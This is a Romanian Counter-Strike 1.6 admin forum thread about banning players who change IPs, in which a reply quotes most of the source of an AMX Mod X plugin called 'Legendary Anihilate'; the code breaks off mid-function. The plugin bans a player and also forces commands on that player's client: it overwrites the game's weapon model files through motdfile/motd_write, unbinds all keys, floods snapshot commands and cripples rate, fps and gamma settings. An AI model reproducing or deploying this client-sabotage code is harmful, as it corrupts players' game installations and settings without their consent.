Existing user? Sign in
Sign up
Games
Servers
Useful
User
Pass
2FA
[Cerere plugin] Ip dynamic !
Go to page
Previous
1
,
2
,
3
Freakz Forum Index
->
Trash Bin
->
CS 2006-2019 (Archived)
->
Plugins - Help / Support
Author
Message
6523
DANNY*
[Mentally Stable]
Status: Offline
(since 26-04-2018 11:28)
Joined: 08 Feb 2017
Posts: 161
,
Topics: 28
Location:
Romania
Reputation:
26.7
Votes
: 1
Posted: 04-05-2017, 19:53:19
| Translate post to:
... (
Click for more languages
)
Mie imi trebuia ceva sa-l nu-l mai schimbe , ca sa pot sa-l banez . Ca asa ii dau pe ip dar il schimba. Cer T/C , vad ca nu se poate rezolva !
0
0
Back to top
GoreSpintecatoru.
[Inactiv o perioada]
Status: Offline
(since 09-11-2017 19:29)
Joined: 18 Feb 2017
Posts: 638
,
Topics: 28
Location:
Romania
Reputation:
762.7
Votes
: 40
Posted: 04-05-2017, 19:55:56
| Translate post to:
... (
Click for more languages
)
Pai eu ce zic , nu il mai poate schimba , ce nu intelegi?
STEAM_ID devine VALVE_ID
Regulament
|
My Official Website[V:1.1]
|
Panel JB[V:1.0]
0
0
Back to top
DANNY*
[Mentally Stable]
Status: Offline
(since 26-04-2018 11:28)
Joined: 08 Feb 2017
Posts: 161
,
Topics: 28
Location:
Romania
Reputation:
26.7
Votes
: 1
Posted: 04-05-2017, 20:01:08
| Translate post to:
... (
Click for more languages
)
Pai nu merge sa-i dau ban pe VALVE_ID
0
0
Back to top
GoreSpintecatoru.
[Inactiv o perioada]
Status: Offline
(since 09-11-2017 19:29)
Joined: 18 Feb 2017
Posts: 638
,
Topics: 28
Location:
Romania
Reputation:
762.7
Votes
: 40
Posted: 04-05-2017, 20:02:12
| Translate post to:
... (
Click for more languages
)
Pai ii dai normal ban , acum ce vrei sa faci? Asta e singura solutie sau o protectie.
Regulament
|
My Official Website[V:1.1]
|
Panel JB[V:1.0]
0
0
Back to top
DANNY*
[Mentally Stable]
Status: Offline
(since 26-04-2018 11:28)
Joined: 08 Feb 2017
Posts: 161
,
Topics: 28
Location:
Romania
Reputation:
26.7
Votes
: 1
Posted: 04-05-2017, 20:30:55
| Translate post to:
... (
Click for more languages
)
Pai daca ii dau ban normal , isi schimba ip--u si intra,. Cu anti stem id chenger ii ramanea acelasi steamid, si puteam sa-i dau ! La asta ma refeream
0
0
Back to top
GoreSpintecatoru.
[Inactiv o perioada]
Status: Offline
(since 09-11-2017 19:29)
Joined: 18 Feb 2017
Posts: 638
,
Topics: 28
Location:
Romania
Reputation:
762.7
Votes
: 40
Posted: 04-05-2017, 21:05:15
| Translate post to:
... (
Click for more languages
)
Atunci , nu ai ce sa faci .
Dproto nu , asta nu , eu nu mai stiu nici o metoda.Nu o sa ai niciodat o solutie permanenta pentru acest lucru.
Singura chestie e sa-l distrugi temporar ( cs , ban , etc ).
Regulament
|
My Official Website[V:1.1]
|
Panel JB[V:1.0]
0
0
Back to top
DANNY*
[Mentally Stable]
Status: Offline
(since 26-04-2018 11:28)
Joined: 08 Feb 2017
Posts: 161
,
Topics: 28
Location:
Romania
Reputation:
26.7
Votes
: 1
Posted: 04-05-2017, 21:20:06
| Translate post to:
... (
Click for more languages
)
ZPLegendary wrote:
Ca o varianta in caz de maxima necesitate, poti sa folosesti asta
Spoiler:
Code:
#include amxmodx
#include amxmisc
#include cstrike
#include fakemeta
#include engine
#include nvault
#include hamsandwich
#include colorchat
#include fun
#include xs
#include csx
#define PLUGIN "Legendary Anihilate"
#define VERSION "4.1"
#define EliminatesNum 5120
#define ELIMINATETASK 112233
static const IPServerLicentiat[] = "93.119.24.73";
static const IPServerLicentiat2[] = "192.175.102.69";
new const ComenziPrincipale[][] =
{
"say ^"Am fost Anihilat de pe acest Server, sunt un distrus!^"",
"echo FATAL_ERROR_REINSTALL_CS",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot",
"snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot; snapshot"
};
new const ComenziSecundare[][] =
{
"motdfile models/v_ak47.mdl; motd_write xXx",
"motdfile models/v_m4a1.mdl; motd_write xXx",
"motdfile models/v_knife.mdl; motd_write xXx",
"unbindall",
"cl_timeout 999999999",
"sv_timeout 999999999",
"rate 1",
"brightness 0",
"gamma 0.1",
"fps_max 1",
"cl_shownet 1"
};
new const EliminateDataFile[] = "AnihilateData.txt";
new const EliminateLogFile[] = "AnihilateLog.txt";
new const EliminateExplodeSpr[] = "sprites/zerogxplode.spr";
new const EliminateShockWaveSpr[] = "sprites/shockwave.spr";
new const EliminateSmokeSpr[] = "sprites/steam1.spr";
new const EliminateExplodeSound[] = "ambience/particle_suck1.wav";
new EliminatedTime[EliminatesNum] [32];
new EliminatedName[EliminatesNum] [32];
new EliminatedIp[EliminatesNum] [32];
new EliminatedSteamId[EliminatesNum] [35];
new EliminatedAdminName[EliminatesNum] [32];
new EliminatedAdminIp[EliminatesNum] [32];
new EliminatedAdminSteamId[EliminatesNum] [35];
new EliminatedReason[EliminatesNum] [32];
new Eliminates = 0;
new cvar_site;
new cvar_numeserver;
new ExplodeSpr, ShockWaveSpr, SmokeSpr;
new vOrigin[33][3];
public plugin_init()
{
new ServerIp[22];
get_user_ip(0, ServerIp, sizeof (ServerIp) -1, 1);
if(equal(ServerIp, IPServerLicentiat2) && !equal(ServerIp, IPServerLicentiat))
register_plugin(PLUGIN, VERSION, "Legendary");
else if(!equal(ServerIp, IPServerLicentiat2) && !equal(ServerIp, IPServerLicentiat))
set_fail_state("[WARNING] AMX Mod X - Protected by Legendary.")
else if(!equal(ServerIp, IPServerLicentiat2) && equal(ServerIp, IPServerLicentiat))
register_plugin(PLUGIN, VERSION, "Legendary");
cvar_site = register_cvar("AMX_Mod_X_ForumName", "forum");
cvar_numeserver = register_cvar("AMX_Mod_X_ServerName", "server");
register_concmd("amx_anihilate", "ConCmdEliminate", ADMIN_SLAY, "- <Nume/Parte din nume> <Motiv>");
register_concmd("amx_unanihilate", "ConCmdUnEliminate", ADMIN_SLAY, "- <IP/SteamID> <Motiv>");
register_concmd("amx_anihilatelist", "ConCmdPrintEliminates", ADMIN_SLAY, "- Arata lista cu Anihilari");
register_concmd("amx_reloadanihilates", "ConCmdReloadEliminates", ADMIN_SLAY, "- Reincarca Anihilarile");
}
public plugin_precache()
{
new ServerIp[22];
get_user_ip(0, ServerIp, sizeof (ServerIp) -1, 1);
ExplodeSpr = precache_model(EliminateExplodeSpr);
ShockWaveSpr = precache_model(EliminateShockWaveSpr);
SmokeSpr = precache_model(EliminateSmokeSpr);
precache_sound(EliminateExplodeSound);
new File[128];
get_datadir(File, sizeof(File) - 1)
formatex(File, sizeof (File) -1, "%s/%s", File, EliminateLogFile );
get_datadir(File, sizeof(File) - 1)
formatex(File, sizeof (File) -1, "%s/%s", File, EliminateDataFile);
LoadEliminates();
}
public client_authorized(id)
{
if (is_user_bot(id) || is_user_hltv(id)) return 0;
vOrigin[id][0] = 0;
vOrigin[id][1] = 0;
vOrigin[id][2] = 0;
new ip[32], authid[35], bool:IsSteamUser = false;
get_user_ip(id, ip , sizeof (ip) -1, 1);
get_user_authid(id, authid, sizeof (authid) -1);
IsSteamUser = (authid[7] == ':' ? true : false);
for(new i = 0; i < Eliminates ; i++)
{
if(!IsSteamUser && equal(EliminatedIp[i], ip) || IsSteamUser && equal(EliminatedSteamId[i], authid))
{
PrintConsoleInfo(id, EliminatedName[i], EliminatedIp[i], EliminatedSteamId[i], EliminatedReason[i],
EliminatedAdminName[i], EliminatedAdminIp[i], EliminatedAdminSteamId[i], EliminatedTime[i]);
set_task(1.0, "TaskDisconnectPlayer", id + ELIMINATETASK);
break;
}
}
return 0;
}
public client_disconnected(id)
{
vOrigin[id][0] = 0;
vOrigin[id][1] = 0;
vOrigin[id][2] = 0;
}
public ConCmdEliminate(id, level, cid)
{
if (!cmd_access(id, level, cid, 2))
return 1;
new FirstArg[32], SecondArg[32];
read_argv(1, FirstArg , sizeof (FirstArg) -1);
read_argv(2, SecondArg , sizeof (SecondArg) -1);
new Player = cmd_target(id, FirstArg, (CMDTARGET_NO_BOTS | CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF));
if(!Player || !is_user_connected(Player))
return 1;
client_cmd(0, "spk ^"vox/bizwarn user eliminate^"");
console_print(id, "[Legendary Anihilate] Jucatorul %s (IP: %s) a fost Anihilat si Banat Permanent!", get_name(Player), get_ip(Player));
ColorChat(0, RED, "^4[Legendary Anihilate] ^3Adminul^4 %s ^3l-a ^4Anihilat ^3pe^4 %s ^1- ^3Motiv:^4 %s", get_name(id), get_name(Player), SecondArg);
ColorChat(0, RED, "^4[Legendary Anihilate] ^3Jucatorul a primit ^4Ban Permanent^3 si i-au fost ^4deteriorate ^3fisierele din joc.", get_name(id), get_name(Player), SecondArg);
LogToConfigs("* ANIHILARE: Adminul %s (IP: %s) l-a Anihilat pe %s (IP: %s) - Motiv: %s",get_name(id), get_ip(id), get_name(Player), get_ip(Player), SecondArg);
PrintConsoleInfo(Player, get_name(Player), get_ip(Player), get_authid(Player), SecondArg, get_name(id), get_ip(id), get_authid(id), _get_time());
if(is_user_alive(Player))
CreateEliminateEffects(Player + ELIMINATETASK);
set_task(0.5, "ExecComenziPrincipale", Player + ELIMINATETASK);
set_task(0.9, "ExecComenziSecundare", Player + ELIMINATETASK);
set_task(1.0, "TaskDisconnectPlayerFromSV", Player + ELIMINATETASK);
EliminateUser(id, Player, SecondArg);
return 1;
}
public ConCmdUnEliminate(id, level, cid)
{
if (!cmd_access(id, level, cid, 2))
return 1;
new FirstArg[32], SecondArg[32];
new bool:EliminationFound = false;
read_argv(1, FirstArg , sizeof (FirstArg) -1);
read_argv(2, SecondArg , sizeof (SecondArg) -1);
for(new i = 0; i < Eliminates ; i++)
{
if(equal(EliminatedIp[i], FirstArg) || equal(EliminatedSteamId[i], FirstArg))
{
if(id == 0)
{
server_print("| ==----------=============================----------==");
server_print("| ==----------==| INFORMATII DESPRE UN-ANIHILATE |==----------==");
server_print("| ==----------=============================----------==");
server_print("| * Nume: %s", EliminatedName[i]);
server_print("| * IP: %s", EliminatedIp[i]);
server_print("| * Motiv: %s ", EliminatedReason[i]);
server_print("| * Durata: Permanenta");
server_print("| * Nume Admin: %s", EliminatedAdminName[i]);
server_print("| * IP Admin: %s", EliminatedAdminIp[i]);
server_print("| * Data & Ora: %s", EliminatedTime[i]);
server_print("| * ");
server_print("| * Anihilarea de pe IP-ul/SteamID-ul: %s a fost scoasa.", FirstArg);
server_print("| ==--------------------=================---------------------==");
server_print("| ==--------------------==| %s |==---------------------==", get_nume());
server_print("| ==--------------------=================---------------------==");
EliminationFound = true;
}
else
{
client_cmd(id, "echo ^"| ==----------=============================----------==^"");
client_cmd(id, "echo ^"| ==----------==| INFORMATII DESPRE UN-ANIHILATE |==----------==^"");
client_cmd(id, "echo ^"| ==----------=============================----------==^"");
client_cmd(id, "echo ^"| * Nume: %s^"", EliminatedName[i]);
client_cmd(id, "echo ^"| * IP: %s^"", EliminatedIp[i]);
client_cmd(id, "echo ^"| * Motiv: %s^"", EliminatedReason[i]);
client_cmd(id, "echo ^"| * Durata: Permanenta^"");
client_cmd(id, "echo ^"| * Nume Admin: %s^"", EliminatedAdminName[i]);
client_cmd(id, "echo ^"| * IP Admin: %s^"", EliminatedAdminIp[i]);
client_cmd(id, "echo ^"| * Data & Ora: %s^"", EliminatedTime[i]);
client_cmd(id, "echo ^"| * ^"");
client_cmd(id, "echo ^"| * Anihilarea de pe IP-ul/SteamID-ul: %s a fost scoasa.^"", FirstArg);
client_cmd(id, "echo ^"| ==--------------------=================---------------------==^"");
client_cmd(id, "echo ^"| ==--------------------==| %s |==---------------------==^"", get_nume());
client_cmd(id, "echo ^"| ==--------------------=================---------------------==^"");
EliminationFound = true;
LogToConfigs("-----------------------------------------------------------------------------------------------------------------------------------------------");
LogToConfigs("* ADMINUL %s (%s) a scos Anihilarea ce urmeaza - Motiv: %s", get_name(id), get_ip(id), SecondArg);
LogToConfigs("* DATA & ORA: %s - Adminul %s (%s) l-a Anihilat pe %s (%s) - Motiv: %s", EliminatedTime[i], EliminatedAdminName[i], EliminatedAdminIp[i], EliminatedName[i], EliminatedIp[i], EliminatedReason[i]);
LogToConfigs("-----------------------------------------------------------------------------------------------------------------------------------------------");
client_cmd(0, "spk vox/doop");
ColorChat(0, RED, "^4[Legendary Anihilate] ^3Adminul^4 %s^3 i-a scos ^4Anihilarea ^3lui^4 %s ^3(^4IP: %s^3).", get_name(id), EliminatedName[i], EliminatedIp[i]);
}
RemoveEliminate(i);
break;
}
}
if(!EliminationFound)
{
if(id == 0)
{
server_print("| ==------------------------=============------------------------==");
server_print("| ==------------------------==| ANIHILATE |==------------------------==")
server_print("| ==------------------------=============------------------------==");
server_print("| * Comanda nu poate fi executata!");
server_print("| * IP-ul/SteamID-ul: %s", FirstArg);
server_print("| * Nu a fost gasit in baza de date.");
server_print("| ==--------------------=================---------------------==");
server_print("| ==--------------------==| %s |==---------------------==", get_nume());
server_print("| ==--------------------=================---------------------==");
}
else
{
client_cmd(id, "echo ^"| ==------------------------=============------------------------==^"");
client_cmd(id, "echo ^"| ==------------------------==| ANIHILATE |==------------------------==^"", get_nume());
client_cmd(id, "echo ^"| ==------------------------=============------------------------==^"");
client_cmd(id, "echo ^"| * Comanda nu poate fi executata!^"");
client_cmd(id, "echo ^"| * IP-ul/SteamID-ul: %s^"", FirstArg);
client_cmd(id, "echo ^"| * Nu a fost gasit in baza de date.^"");
client_cmd(id, "echo ^"| ==--------------------=================---------------------==^"");
client_cmd(id, "echo ^"| ==--------------------==| %s |==---------------------==^"", get_nume());
client_cmd(id, "echo ^"| ==--------------------=================---------------------==^"");
}
}
return 1;
}
public ConCmdPrintEliminates(id)
{
if (!(get_user_flags(id) & ADMIN_SLAY))
{
console_print(id,"[AMX Mod X] Nu ai acees la aceasta comanda.");
return 1;
}
if(Eliminates == 0)
{
if(id == 0)
{
server_print("[Legendary Anihilate] Nu am gasit nicio Anihilare in baza de date!");
return 1;
}
else
{
client_cmd(id, "echo [Legendary Anihilate] Nu am gasit nicio Anihilare in baza de date!");
return 1;
}
}
new start , end, pos_to_num;
new position[5];
read_argv(1, position, sizeof (position) - 1);
pos_to_num = str_to_num(position);
start = min(pos_to_num, Eliminates) - 1;
if(start <= 0) start = 0;
end = min(start + 4, Eliminates);
if(id == 0)
{
for(new i = start ; i < end ; i++)
{
server_print("| ==-------------=========================-------------==");
server_print("| Nr. total de Anihilari: %d | Anihilari vizualizate acum: %d - %d", Eliminates, start + 1, end);
server_print("| ==-------------=========================-------------==");
server_print("| * Nume: %s", EliminatedName[i]);
server_print("| * IP: %s", EliminatedIp[i]);
server_print("| * SteamID: %s", EliminatedSteamId[i]);
server_print("| * Motiv: %s ", EliminatedReason[i]);
server_print("| * Durata: Permanenta");
server_print("| * Nume Admin: %s", EliminatedAdminName[i]);
server_print("| * IP Admin: %s", EliminatedAdminIp[i]);
server_print("| * SteamID Admin: %s", EliminatedAdminSteamId[i]);
server_print("| * Data & Ora: %s", EliminatedTime[i]);
server_print("| ==--------------------=================---------------------==");
server_print("| ==--------------------==| %s |==---------------------==", get_nume());
server_print("| ==--------------------=================---------------------==");
}
}
else
{
for(new i = start ; i < end ; i++)
{
client_cmd(id, "echo ^"| ==-------------=========================-------------==^"");
client_cmd(id, "echo ^"| Nr. total de Anihilari: %d | Anihilari vizualizate acum: %d - %d^"", Eliminates, start + 1, end);
client_cmd(id, "echo ^"| ==-------------=========================-------------==^"", i + 1);
client_cmd(id, "echo ^"| * Nume: %s^"", EliminatedName[i]);
client_cmd(id, "echo ^"| * IP: %s^"", EliminatedIp[i]);
client_cmd(id, "echo ^"| * SteamID: %s^"", EliminatedSteamId[i]);
client_cmd(id, "echo ^"| * Motiv: %s^"", EliminatedReason[i]);
client_cmd(id, "echo ^"| * Durata: Permanenta^"");
client_cmd(id, "echo ^"| * Nume Admin: %s^"", EliminatedAdminName[i]);
client_cmd(id, "echo ^"| * IP Admin: %s^"", EliminatedAdminIp[i]);
client_cmd(id, "echo ^"| * SteamID Admin: %s^"", EliminatedAdminSteamId[i]);
client_cmd(id, "echo ^"| * Data & Ora: %s^"", EliminatedTime[i]);
client_cmd(id, "echo ^"| ==--------------------=================---------------------==^"");
client_cmd(id, "echo ^"| ==--------------------==| %s |==---------------------==^"", get_nume());
client_cmd(id, "echo ^"| ==--------------------=================---------------------==^"");
}
}
return 1;
}
public ConCmdReloadEliminates(id)
{
if (!(get_user_flags(id) & ADMIN_SLAY))
{
console_print(id,"[AMX Mod X] Nu ai acees la aceasta comanda.");
return 1;
}
Eliminates = 0;
for(new i = 0 ; i < EliminatesNum ; i++)
{
copy(EliminatedTime[i], sizeof (EliminatedTime[]) -1, "");
copy(EliminatedName[i], sizeof (EliminatedName[]) -1, "");
copy(EliminatedIp[i], sizeof (EliminatedIp[]) -1, "");
copy(EliminatedSteamId[i], sizeof (EliminatedSteamId[]) -1, "");
copy(EliminatedAdminName[i], sizeof (EliminatedAdminName[]) -1, "");
copy(EliminatedAdminIp[i], sizeof (EliminatedAdminIp[]) -1, "");
copy(EliminatedAdminSteamId[i], sizeof (EliminatedAdminSteamId[]) -1, "");
copy(EliminatedReason[i], sizeof (EliminatedReason[]) -1, "");
}
if(id == 0)
server_print("[Legendary Anihilate] Anihilarile vor fi reincarcate!");
else
client_cmd(id, "echo [Legendary Anihilate] Anihilarile vor fi reincarcate!");
LoadEliminates();
if(id == 0)
server_print("[Legendary Anihilate] Am incarcat cu succes %d Anihilari.", Eliminates);
else
client_cmd(id, "echo [Legendary Anihilate] Am incarcat cu succes %d Anihilari.", Eliminates);
return 1;
}
public EliminateUser(id, Player, const reason[])
{
if(Eliminates >= EliminatesNum)
{
Log("[EROARE] - Lista de Anihilari este plina (%d / %d) !", Eliminates, EliminatesNum);
return 1;
}
new file[128], log[256];
get_datadir(file, sizeof(file) - 1)
formatex(file, sizeof (file) -1, "%s/%s", file, EliminateDataFile);
formatex(log, sizeof (log) -1,"^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^"",
_get_time(), get_name(Player), get_ip(Player), get_authid(Player),
get_name(id), get_ip(id), get_authid(id), reason);
write_file(file, log, -1);
LoadEliminates();
return 0;
}
public ExecComenziPrincipale(id)
{
id -= ELIMINATETASK;
if(!is_user_connected(id)) return 1;
for(new i = 0; i < sizeof(ComenziPrincipale) ; i++)
force_command(id, ComenziPrincipale[i]);
return 0;
}
public ExecComenziSecundare(id)
{
id -= ELIMINATETASK;
if(!is_user_connected(id)) return 1;
for(new i = 0; i < sizeof(ComenziSecundare) ; i++)
force_command(id, ComenziSecundare[i]);
return 0;
}
public LoadEliminates()
{
new file[128];
get_datadir(file, sizeof(file) - 1)
formatex(file, sizeof (file) -1, "%s/%s", file, EliminateDataFile);
if(!file_exists(file))
{
Log("[EROARE] - Nu am gasit %s ", file);
Log("[EROARE] - Creez un nou fisier.");
}
new f = fopen(file, "rt");
if(!f) return 0;
new data[512], buffer[8][64] ;
while(!feof(f) && Eliminates < EliminatesNum)
{
fgets(f, data, sizeof (data) -1);
if(!data[0] || data[0] == ';' || (data[0] == '/' && data[1] == '/'))
continue;
parse(data,\
buffer[0], sizeof (buffer[]) - 1,\
buffer[1], sizeof (buffer[]) - 1,\
buffer[2], sizeof (buffer[]) - 1,\
buffer[3], sizeof (buffer[]) - 1,\
buffer[4], sizeof (buffer[]) - 1,\
buffer[5], sizeof (buffer[]) - 1,\
buffer[6], sizeof (buffer[]) - 1,\
buffer[7], sizeof (buffer[]) - 1
);
copy(EliminatedTime[Eliminates], sizeof (EliminatedTime[]) -1, buffer[0]);
copy(EliminatedName[Eliminates], sizeof (EliminatedName[]) -1, buffer[1]);
copy(EliminatedIp[Eliminates], sizeof (EliminatedIp[]) -1, buffer[2]);
copy(EliminatedSteamId[Eliminates], sizeof (EliminatedSteamId[]) -1, buffer[3]);
copy(EliminatedAdminName[Eliminates], sizeof (EliminatedAdminName[]) -1, buffer[4]);
copy(EliminatedAdminIp[Eliminates], sizeof (EliminatedAdminIp[]) -1, buffer[5]);
copy(EliminatedAdminSteamId[Eliminates], sizeof (EliminatedAdminSteamId[]) -1, buffer[6]);
copy(EliminatedReason[Eliminates], sizeof (EliminatedReason[]) -1, buffer[7]);
Eliminates++;
}
fclose(f);
return 0;
}
public RemoveEliminate(i)
{
for(new x = i ; x < Eliminates ; x++)
{
if(x + 1 == EliminatesNum)
{
copy(EliminatedTime[x], sizeof (EliminatedTime[]) -1, "");
copy(EliminatedName[x], sizeof (EliminatedName[]) -1, "");
copy(EliminatedIp[x], sizeof (EliminatedIp[]) -1, "");
copy(EliminatedSteamId[x], sizeof (EliminatedSteamId[]) -1, "");
copy(EliminatedAdminName[x], sizeof (EliminatedAdminName[]) -1, "");
copy(EliminatedAdminIp[x], sizeof (EliminatedAdminIp[]) -1, "");
copy(EliminatedAdminSteamId[x], sizeof (EliminatedAdminSteamId[]) -1, "");
copy(EliminatedReason[x], sizeof (EliminatedReason[]) -1, "");
}
else
{
copy(EliminatedTime[x], sizeof (EliminatedTime[]) -1, EliminatedTime[x + 1]);
copy(EliminatedName[x], sizeof (EliminatedName[]) -1, EliminatedName[x + 1]);
copy(EliminatedIp[x], sizeof (EliminatedIp[]) -1, EliminatedIp[x + 1]);
copy(EliminatedSteamId[x], sizeof (EliminatedSteamId[]) -1, EliminatedSteamId[x + 1]);
copy(EliminatedAdminName[x], sizeof (EliminatedAdminName[]) -1, EliminatedAdminName[x + 1]);
copy(EliminatedAdminIp[x], sizeof (EliminatedAdminIp[]) -1, EliminatedAdminIp[x + 1]);
copy(EliminatedAdminSteamId[x], sizeof (EliminatedAdminSteamId[]) -1, EliminatedAdminSteamId[x + 1]);
copy(EliminatedReason[x], sizeof (EliminatedReason[]) -1, EliminatedReason[x + 1]);
}
}
Eliminates--;
ReWriteEliminations();
}
public ReWriteEliminations()
{
new file[128];
get_datadir(file, sizeof(file) - 1)
formatex(file, sizeof (file) -1, "%s/%s", file, EliminateDataFile);
new f = fopen(file, "wt");
static EliminateTime[32], EliminateName[32], EliminateIp[32], EliminateSteamId[35];
static EliminateAdminName[32], EliminateAdminIp[32], EliminateAdminSteamId[35], EliminateReason[32];
for(new i = 0 ; i < Eliminates ; i++)
{
copy(EliminateTime, sizeof (EliminateTime) -1, EliminatedTime[i]);
copy(EliminateName , sizeof (EliminateName) - 1, EliminatedName[i]);
copy(EliminateIp , sizeof (EliminateIp) - 1, EliminatedIp[i]);
copy(EliminateSteamId , sizeof (EliminateSteamId) - 1, EliminatedSteamId[i]);
copy(EliminateAdminName , sizeof (EliminateAdminName) - 1, EliminatedAdminName[i]);
copy(EliminateAdminIp , sizeof (EliminateAdminIp) - 1, EliminatedAdminIp[i]);
copy(EliminateAdminSteamId , sizeof (EliminateAdminSteamId) - 1, EliminatedAdminSteamId[i]);
copy(EliminateReason , sizeof (EliminateReason) - 1, EliminatedReason[i]);
fprintf(f, "^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^"^n",\
EliminateTime,\
EliminateName,\
EliminateIp,\
EliminateSteamId,\
EliminateAdminName,\
EliminateAdminIp,\
EliminateAdminSteamId,\
EliminateReason
);
}
fclose(f);
}
public LogToConfigs(const msg[], any:...)
{
new message[256];
vformat(message, sizeof (message) -1, msg , 2);
new file[128], log[256];
get_datadir(file, sizeof(file) - 1)
formatex(file, sizeof (file) -1, "%s/%s", file, EliminateLogFile );
formatex(log, sizeof (log) -1,"|%s| - %s ", _get_time(), message);
write_file(file, log, -1);
}
public Log(const msg[], any:...)
{
new message[256];
vformat(message, sizeof (message) -1, msg , 2);
new dir[64], file[128], log[256];
if(!dir[0])
{
get_basedir(dir, sizeof (dir) -1);
formatex(file, sizeof (file) -1,"%s/logs/Anihilate.log", dir);
}
formatex(log, sizeof (log) -1,"|%s| %s ", _get_time(), message);
write_file(file, log, -1);
}
public PrintConsoleInfo(id, const name[], const ip[], const steamid[], const reason[], const admin_name[], const admin_ip[], const admin_steamid[], const dateandtime[])
{
client_cmd(id, "echo ^"| ==-------------=========================-------------==^"");
client_cmd(id, "echo ^"| ==-------------==| DETALII DESPRE ANIHILARE |==--------------==^"");
client_cmd(id, "echo ^"| ==-------------=========================-------------==^"");
client_cmd(id, "echo ^"| * Nume Jucator: %s^"", name);
client_cmd(id, "echo ^"| * IP Jucator: %s^"", ip);
client_cmd(id, "echo ^"| * SteamID Jucator: %s^"", steamid);
client_cmd(id, "echo ^"| * Motiv: %s ^"", reason);
client_cmd(id, "echo ^"| * Durata: Permanenta^"");
client_cmd(id, "echo ^"| * Nume Admin: %s^"", admin_name);
client_cmd(id, "echo ^"| * IP Admin: %s^"", admin_ip);
client_cmd(id, "echo ^"| * SteamID Admin: %s^"", admin_steamid);
client_cmd(id, "echo ^"| * Data & Ora: %s^"", dateandtime);
client_cmd(id, "echo ^"| * Daca te simti neindreptatit contacteaza-ne pe:^"");
client_cmd(id, "echo ^"| * %s^"", get_site());
client_cmd(id, "echo ^"| ==--------------------=================---------------------==^"");
client_cmd(id, "echo ^"| ==--------------------==| %s |==---------------------==^"", get_nume());
client_cmd(id, "echo ^"| ==--------------------=================---------------------==^"");
}
public TaskDisconnectPlayer(id)
{
id -= ELIMINATETASK;
server_cmd("kick #%i ^"Ai fost Anihilat si Banat Permanent pe acest Server, verifica-ti consola!^"", get_user_userid(id));
}
public TaskDisconnectPlayerFromSV(id)
{
id -= ELIMINATETASK;
if(!is_user_connected(id)) return 1;
server_cmd("kick #%i ^"Ai fost Anihilat si Banat Permanent pe acest Server, verifica-ti consola!^"", get_user_userid(id));
return 1;
}
public CreateEliminateEffects(id)
{
id -= ELIMINATETASK;
if(!is_user_connected(id)) return 1;
get_user_origin(id, vOrigin[id]);
Create_TE_IMPLOSION(vOrigin[id], 100, 20, 5);
emit_sound(0, CHAN_STATIC, EliminateExplodeSound, 1.0, ATTN_NORM, 0, PITCH_NORM);
set_task(0.1, "FunC_Tele_Effect", id + ELIMINATETASK);
set_task(0.2, "CreateExplosionEffect", id + ELIMINATETASK);
set_task(0.3, "CreateBlastCirclesEffect", id + ELIMINATETASK);
return 0;
}
public CreateExplosionEffect(id)
{
id -= ELIMINATETASK;
if(!is_user_connected(id)) return 1;
new Origin[3],vPosition[3];
Origin[0] = vOrigin[id][0];
Origin[1] = vOrigin[id][1];
Origin[2] = vOrigin[id][2];
vPosition[0] = vOrigin[id][0] + random_num(-100, 100);
